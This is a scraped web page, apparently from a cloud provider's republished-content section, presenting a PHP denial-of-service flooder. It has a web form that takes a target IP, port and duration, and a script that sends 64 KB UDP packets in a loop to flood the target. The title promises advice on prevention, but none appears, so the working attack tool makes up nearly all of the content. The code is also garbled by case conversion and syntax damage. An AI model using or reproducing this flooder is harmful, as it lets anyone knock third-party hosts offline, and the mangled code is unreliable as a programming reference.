PHP Dos attack implementation code (with how to prevent) _php instance

Source: Internet
Author: User
Tags rand
index.php
Copy Code code as follows:

<?php
$ip = $_server[' remote_addr '];
?>
<! DOCTYPE HTML PUBLIC "-//w3c//dtd HTML 4.01 transitional//en" "HTTP://WWW.W3.ORG/TR/HTML4/LOOSE.DTD" >
<meta http-equiv= "Content-type" content= "text/html; Charset=iso-8859-1 ">
<meta name= "Author" content= "" >
<title>php DoS, coded by exe</title>
<!--PHP DOS, coded by EXE-->
<style type= "Text/css" >
<!--
Body {
Font-family:arial, Helvetica, Sans-serif;
font-size:12px;
Font-style:normal;
Line-height:normal;
Color: #FFFFFF;
Background-color: #000000;
}
-->
</style>
<!--PHP DOS, coded by EXE-->
<body>
<center><br><br>
<br>
<b>your ip:</b> <font color= "Red" ><?php Echo $ip?></font> (Don ' t DoS yourself nub) <br ><br>
<form name= "Input" action= "function.php" method= "POST" >
Ip:
<input type= "text" name= "IP" size= "maxlength=" "class=" main "value =" 0.0.0.0 "onblur =" if (this.value== ") th Is.value = ' 0.0.0.0 '; "onfocus =" if (this.value = = ' 0.0.0.0 ') this.value = '; ' >
Time:
<input type= "text" name= "Time" size= "maxlength=" "main" value = "Time" (in class=) "Seconds =" if (onblur lue== ') This.value = ' time [in seconds] '; ' onfocus = ' if (this.value = ' time (in seconds) ') this.value = '; ' >
Port:
<input type= "text" name= "Port" size= "5" maxlength= "5" class= "main" value = "port" onblur = "if (this.value==") this. Value = ' Port '; "onfocus =" if (this.value = = ' Port ') this.value = '; ' >
<br><br>
<input type= "Submit" value= "Start the Attack--->" >
<br><br>
<center>
After initiating of the DoS attack, please wait while the browser loads.
</center>
</form>
</center>
<!--PHP DOS, coded by EXE-->
</body>

function.php
Copy Code code as follows:

<?php
//=================================================
PHP DOS v1.8 (possibly stronger Flood strength)
Coded by EXE
//=================================================
$packets = 0;
$ip = $_post[' IP '];
$rand = $_post[' Port '];
Set_time_limit (0);
Ignore_user_abort (FALSE);
$exec _time = $_post[' time '];
$time = time ();
Print "flooded: $ip on port $rand <br><br>";
$max _time = $time + $exec _time;
For ($i =0 $i <65535; $i + +) {
$out. = "X";
}
while (1) {
$packets + +;
if (Time () > $max _time) {
Break
}
$fp = Fsockopen ("udp://$ip", $rand, $errno, $ERRSTR, 5);
if ($fp) {
Fwrite ($fp, $out);
Fclose ($FP);
}
}
echo "Packet complete at". Time (' h:i:s '). "With $packets (". Round (($packets *65)/1024, 2). "MB) packets averaging". Round ($packets/$exec _time, 2). "PACKETS/S \ n";
?>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.